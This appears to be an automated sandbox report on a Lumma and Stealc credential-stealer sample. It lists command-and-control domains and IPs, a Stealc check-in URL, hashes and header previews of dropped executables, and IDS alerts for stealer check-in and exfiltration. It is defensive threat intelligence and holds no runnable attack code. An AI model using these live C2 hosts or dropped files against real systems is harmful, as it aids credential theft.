Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target BGXAMSUR4L24WR8IH77.exe, PID 484 because there are no executed function
Execution Graph export aborted for target s31ydU1MpQ.exe, PID 6440 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:28:18	API Interceptor	43x Sleep call for process: s31ydU1MpQ.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
23.55.153.106	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse
	ieD6yf6yc6.exe	Get hash	malicious	LummaC	Browse
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse
185.215.113.206	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/68b591d6548ec281/vcruntime140.dll
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
steamcommunity.com	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	23.55.153.106
	ieD6yf6yc6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	23.55.153.106
	ieD6yf6yc6.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	23.55.153.106
WHOLESALECONNECTIONSNL	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
CLOUDFLARENETUS	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	172.64.41.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	0gnHF2twcT.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86 23.55.153.106
	ieD6yf6yc6.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Qsqi9KQXgy.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86 23.55.153.106
	tPSrcPbmRe.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	104.21.66.86 23.55.153.106

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HXPC21YC8H3Q6AWWXLQHI1I.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe

Download File

Process:	C:\Users\user\Desktop\s31ydU1MpQ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2907648
Entropy (8bit):	6.49495175315163
Encrypted:	false
SSDEEP:	49152:sClAvSx/8MLHGbScHSJtB9YfkahghnWxS30m:sClaSx/8Mb8SQpk0gv0m
MD5:	880F67C30D6C2335273B27DF0004F500
SHA1:	D340D73B98A457D26180D69C28486F4D0CB98432
SHA-256:	3ACD04016A0846F4E6C69D4684AC0A21DC476E63F8E7957FC73CA58C90F40857
SHA-512:	346C038AA380B6467417D01D9FAE63BB55424886C85AC42CF98E2C9FE851C55C31BC4B46096CC793233409366C9752325C20C8FF5150EAEB8184B54EC7878CCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O......(-...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...wwqufnsk.....$.....\|..............@...dutjqjqn......O......8,.............@....taggant.0....O.."...<,.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Download File

Process:	C:\Users\user\Desktop\s31ydU1MpQ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2845696
Entropy (8bit):	6.494034362810024
Encrypted:	false
SSDEEP:	49152:sdomgbbzf500GbWP4ojGUBGuQDflvB2g+xUwGs:o5gbHRlGbWPkUBMf1B2zUBs
MD5:	97B29CE33CCFE8A2B642BD236A0DD337
SHA1:	05B326F85C0043014BCB17F3C937C82CD591ABE6
SHA-256:	D8DB10ABDB18394FA74BFB00C68A6AE1A40DE13CF5D0A6620A9A2F1D4571351D
SHA-512:	2F2B996A02C91911F90E7842FBEDF7E51EEA044D9369D98F72DCBAE6EDD8658F137A3F027DD02851C021555D69676CD98123A6F0B86E8AF5E2A31CA71639CFFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: 20yLTIU4mS.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......I,...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...tnrxecbv...........h..............@...anayjrgy. ....+......F+.............@....taggant.@....+.."...J+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946702022384424
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	s31ydU1MpQ.exe
File size:	1'843'200 bytes
MD5:	d96503971b338f5b4db28e9f306a1fad
SHA1:	2b75e6f5537b01ae1fdc43fbc666b4cb300e50cc
SHA256:	c1ddf685bda82f05dd6c3730103fcd0c7bba4d2ef14fcca5e57c622db31873b5
SHA512:	adaa96475e3a4e1392c51f18c86ee296e665fd07c2ab0d55290c3ee9782c326271ce8e8a58f6e15805edae23e03142d12d212aba2179b2ce8be9d41cb23ad87f
SSDEEP:	49152:43kWrm0Yjk4WxbLewDfybGetKP40JNwWZcj6Z:fDCC0ybntKP1jZo6Z
TLSH:	EE85330A0F1369BADA2D2D325CB00B7217F8B11E4154CE79DC0A9F2FE957AAD34A5F44
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@..........................@I......k....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x891000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FCBAD603D0Ah
paddd mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	de87d83b090f5fb894fc19f0551d9efd	False	0.9972709760273972	data	7.972189895344259	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a2000	0x200	03eec89de5c9abcecc8e5cd4d04a4331	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
npsrnsek	0x2f6000	0x19a000	0x199c00	b34eeed947ed9da95dad6c47ef2c9f18	False	0.9946172875991458	data	7.95317803720264	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lghaogpm	0x490000	0x1000	0x400	84bdd103e25519b7cc990f850f4042ff	False	0.736328125	data	5.821970490416023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x491000	0x3000	0x2200	50c23f52bb12e4c801a32944aabee08c	False	0.06433823529411764	DOS executable (COM)	0.8019809610652107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T07:28:19.481170+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.7	61005	1.1.1.1	53	UDP
2024-12-23T07:28:19.625916+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.7	63520	1.1.1.1	53	UDP
2024-12-23T07:28:19.766786+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.7	49990	1.1.1.1	53	UDP
2024-12-23T07:28:19.985954+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.7	57623	1.1.1.1	53	UDP
2024-12-23T07:28:20.129100+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.7	61904	1.1.1.1	53	UDP
2024-12-23T07:28:20.329057+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.7	64003	1.1.1.1	53	UDP
2024-12-23T07:28:20.470869+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.7	64113	1.1.1.1	53	UDP
2024-12-23T07:28:20.635972+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.7	64239	1.1.1.1	53	UDP
2024-12-23T07:28:20.776368+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.7	61568	1.1.1.1	53	UDP
2024-12-23T07:28:22.472830+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49699	23.55.153.106	443	TCP
2024-12-23T07:28:23.261168+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	49699	23.55.153.106	443	TCP
2024-12-23T07:28:24.869511+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49700	104.21.66.86	443	TCP
2024-12-23T07:28:25.605076+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49700	104.21.66.86	443	TCP
2024-12-23T07:28:25.605076+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49700	104.21.66.86	443	TCP
2024-12-23T07:28:27.036597+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49701	104.21.66.86	443	TCP
2024-12-23T07:28:27.807411+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49701	104.21.66.86	443	TCP
2024-12-23T07:28:27.807411+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49701	104.21.66.86	443	TCP
2024-12-23T07:28:29.385567+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	104.21.66.86	443	TCP
2024-12-23T07:28:31.914997+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49709	104.21.66.86	443	TCP
2024-12-23T07:28:32.763603+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49709	104.21.66.86	443	TCP
2024-12-23T07:28:34.236403+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49715	104.21.66.86	443	TCP
2024-12-23T07:28:36.673170+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49722	104.21.66.86	443	TCP
2024-12-23T07:28:39.233426+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49730	104.21.66.86	443	TCP
2024-12-23T07:28:43.182108+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49742	104.21.66.86	443	TCP
2024-12-23T07:28:43.974798+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49742	104.21.66.86	443	TCP
2024-12-23T07:28:45.444837+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49748	185.215.113.16	80	TCP
2024-12-23T07:29:00.384383+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49779	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:28:21.064364910 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:21.064428091 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:21.064547062 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:21.069057941 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:21.069080114 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:22.472743988 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:22.472830057 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:22.478389025 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:22.478414059 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:22.478768110 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:22.521825075 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:22.594146967 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:22.635346889 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.261194944 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.261223078 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.261248112 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.261255980 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.261259079 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:23.261296034 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.261312008 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.261321068 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:23.261356115 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:23.436471939 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.436516047 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.436559916 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:23.436604023 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.436716080 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:23.467713118 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.467747927 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.467817068 CET	443	49699	23.55.153.106	192.168.2.7
Dec 23, 2024 07:28:23.467847109 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:23.467931032 CET	49699	443	192.168.2.7	23.55.153.106
Dec 23, 2024 07:28:23.470231056 CET	49699	443	192.168.2.7	23.55.153.106
